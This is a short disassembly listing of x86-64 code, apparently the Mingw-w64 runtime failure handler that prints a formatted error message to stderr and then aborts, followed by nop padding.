sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop